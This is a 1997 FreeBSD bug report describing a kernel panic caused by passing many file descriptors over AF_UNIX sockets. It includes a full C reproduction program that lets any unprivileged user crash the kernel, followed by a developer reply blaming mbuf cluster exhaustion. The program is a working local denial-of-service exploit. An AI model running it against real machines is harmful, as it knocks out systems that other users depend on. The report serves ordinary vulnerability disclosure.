From nobody  Wed Aug 20 14:33:54 1997
Received: (from nobody@localhost)
          by hub.freebsd.org (8.8.5/8.8.5) id OAA10663;
          Wed, 20 Aug 1997 14:33:54 -0700 (PDT)
Message-Id: <199708202133.OAA10663@hub.freebsd.org>
Date: Wed, 20 Aug 1997 14:33:54 -0700 (PDT)
From: abelits@phobos.illtel.denver.co.us
To: freebsd-gnats-submit@freebsd.org
Subject: Kernel panic is caused by passing file descriptors through AF_UNIX socket
X-Send-Pr-Version: www-1.0

>Number:         4345
>Category:       kern
>Synopsis:       Kernel panic is caused by passing file descriptors through AF_UNIX socket
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Wed Aug 20 14:40:00 PDT 1997
>Closed-Date:    Fri Mar 19 05:00:57 PST 1999
>Last-Modified:  Fri Mar 19 05:02:00 PST 1999
>Originator:     Alex Belits
>Release:        FreeBSD 2.2.2-RELEASE i386
>Organization:
none
>Environment:
FreeBSD es1840 2.2.2-RELEASE FreeBSD 2.2.2-RELEASE #0: Tue Jun 24 04:43:02 PDT 1
997     abelits@es1840:/usr/src/sys/compile/ES1840  i386

>Description:
Sending large number of file descriptors through AF_UNIX sockets causes
a kernel panic. The panic may occur if file descriptors are passed and
then closed, although keeping them open and collecting  them in the 
receiver process after receiving always causes panic.
>How-To-Repeat:
Run the following program as any regular user:
--- 8< ---
/* crashme.c
**
** THIS PROGRAM CAUSES KERNEL PANIC ON SOME SYSTEMS
**
** Usage: crashme [--harder]
**
** --harder option causes this program to leave opened file descriptors hanging
** thus increasing the probability of the crash.
**
*/


#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <sys/wait.h>

int main(int argc,char **argv){
int harder=0,p,nproc,h,i,socketfds[2];
char a[10];
struct iovec iov1={a,1};
struct cmsghdr *cm;
struct msghdr msg;
char bbuffer[sizeof(struct cmsghdr)+sizeof(int)*24];

if(argc>=2&&!strcmp(argv[1],"--harder")) harder=1;

nproc=-1;
for(i=0;i<100;i++){
 if(!(p=fork())){
  if(socketpair(AF_UNIX,SOCK_STREAM,0,socketfds)){
   perror("socketpair");
   }else{
   cm=(struct cmsghdr*)bbuffer; 
   cm->cmsg_level=SOL_SOCKET;
   cm->cmsg_type=SCM_RIGHTS;
   cm->cmsg_len=sizeof(struct cmsghdr)+sizeof(int);
   msg.msg_name=(caddr_t)0;
   msg.msg_namelen=0;
   msg.msg_flags=0;
   msg.msg_iov=&iov1;
   msg.msg_iovlen=1;
   msg.msg_control=(caddr_t)cm;
   msg.msg_controllen=cm->cmsg_len;
   if(fork()){
    close(socketfds[0]);
    *(int*)(bbuffer+sizeof(struct cmsghdr))=open("/dev/null",O_RDONLY);
    for(i=0;i<2048;i++){
     fprintf(stderr,"%d> ",i+1);
     while(sendmsg(socketfds[1],&msg,0)!=1){
      if(errno!=EAGAIN){
       perror("\nsendmsg");
       }
      }
     }
    }else{
    close(socketfds[1]);
    for(i=0;i<2048;i++){
     *(int*)(bbuffer+sizeof(struct cmsghdr))=-1;
     fprintf(stderr,">%d ",i+1);
     cm=(struct cmsghdr*)bbuffer;
     cm->cmsg_level=SOL_SOCKET;
     cm->cmsg_type=SCM_RIGHTS;
     cm->cmsg_len=sizeof(struct cmsghdr)+sizeof(int)*24; 
     msg.msg_name=(caddr_t)0;
     msg.msg_namelen=0;
     iov1.iov_len=10;
     msg.msg_iov=&iov1;
     msg.msg_iovlen=1;
     msg.msg_control=(caddr_t)cm;
     msg.msg_controllen=cm->cmsg_len;
 
     if(recvmsg(socketfds[0],&msg,0)!=1){
      perror("\nrecvmsg");
      }else{
      fprintf(stderr,"(%d) ",*(int*)(bbuffer+sizeof(struct cmsghdr)));
      if(!harder){
       close(*(int*)(bbuffer+sizeof(struct cmsghdr)));
       }
      }
     }
    exit(0);
    }
   wait(&h);
   }
  exit(0);
  }else{
  if(p<0){
   nproc=i;
   i=100;
   }
  }
 }
if(nproc<0) nproc=100;
for(i=0;i<nproc;i++) wait(&h);
fprintf(stderr,"\n%d processes finished\n",nproc);
return 0;
}
--- >8 ---

>Fix:
none

>Release-Note:
>Audit-Trail:

From: David Greenman <dg@root.com>
To: abelits@phobos.illtel.denver.co.us
Cc: freebsd-gnats-submit@FreeBSD.ORG
Subject: Re: kern/4345: Kernel panic is caused by passing file descriptors through AF_UNIX socket 
Date: Wed, 27 Aug 1997 04:34:19 -0700

 >Sending large number of file descriptors through AF_UNIX sockets causes
 >a kernel panic. The panic may occur if file descriptors are passed and
 >then closed, although keeping them open and collecting  them in the 
 >receiver process after receiving always causes panic.
 
    The panic is indirectly caused by running out of mbuf clusters. It should
 be possible to work around the problem by increasing the limit on the number
 of mbuf clusters by using the "NMBCLUSTERS=<n>" kernel option. A value for <n>
 on the order of 2000-4000 should be sufficient.
 
 -DG
 
 David Greenman
 Core-team/Principal Architect, The FreeBSD Project
State-Changed-From-To: open->closed 
State-Changed-By: sheldonh 
State-Changed-When: Fri Mar 19 05:00:57 PST 1999 
State-Changed-Why:  
Active development on 2.2 branch is over. 
>Unformatted:
